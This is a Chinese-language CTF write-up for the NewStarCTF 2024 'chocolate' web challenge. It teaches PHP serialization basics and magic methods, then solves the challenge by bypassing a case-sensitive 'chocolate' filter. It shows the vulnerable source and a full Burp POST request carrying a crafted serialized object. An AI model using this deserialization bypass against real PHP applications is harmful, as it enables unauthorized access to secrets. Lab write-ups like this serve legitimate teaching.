题目链接

newstarCTF 2024 chocolate

反序列化基础

https://hello-ctf.com/hc-web/php_unser_base/

序列化就是从对象变成字符串

反序列化就是从字符串变回对象

比如:

<?php
class User {
public $name;
protected $email;
private $phoneNumber;
public function __construct($name, $email,$phoneNumber) {
$this->name = $name;
$this->email = $email;
$this ->phoneNumber = $phoneNumber;
}
public function getPhoneNumber(){
echo $this ->phoneNumber;
}
}
$user = new User(array("tan","ji"), 'admin@probius.xyz','19191145148');

$serializedData = serialize($user);
echo $serializedData . "\n";
$deserializedUser = unserialize($serializedData);
print_r($deserializedUser -> name);
echo $deserializedUser -> getPhoneNumber();
?>

输出:

O:4:"User":3:{s:4:"name";a:2:{i:0;s:3:"tan";i:1;s:2:"ji";}s:8:" * email";s:17:"admin@probius.xyz";s:17:" User phoneNumber";s:11:"19191145148";}
Array
(
[0] => tan
[1] => ji
)
19191145148

有一些魔术方法会在特定的序列化阶段触发从而使开发者能够进一步的控制 序列化 / 反序列化 的过程。

__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发

题目分析

在final.php下

<?php

include "source.php";
highlight_file(__FILE__);
$food = file_get_contents('php://input');

class chocolate{
public $cat='???';
public $kitty='???';
public function __construct($u,$p){
$this->cat=$u;
$this->kitty=$p;
}
public function eatit(){
return $this->cat===$this->kitty;
}

public function __toString(){
return $this->cat;
}

public function __destruct(){
global $darkCocoaPowder;
echo $darkCocoaPowder;
}
}

$milk=@unserialize($food);
if(preg_match('/chocolate/', $food)){
throw new Exception("Error $milk",1);
}

意思就是通过post传入字符串,反序列化成milk,然后检测milk里面有没有chocolate,如果有就抛出异常,没有就会执行析构函数,打印$darkCocoaPowder。

可以在字符串中把chocolate任意字符改成大写。

另外hackbar没办法发这个包,因为

$food = file_get_contents('php://input');

要求Content-Type: application/octet-stream但是hackbar里面没有该类型

因此可以选择使用burpsuite

POST /final.php HTTP/1.1
Host: 127.0.0.1:29785
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

O:9:"Chocolate":2:{s:3:"cat";s:3:"123";s:5:"kitty";s:3:"234";}


这样发包即可得到$darkCocoaPowder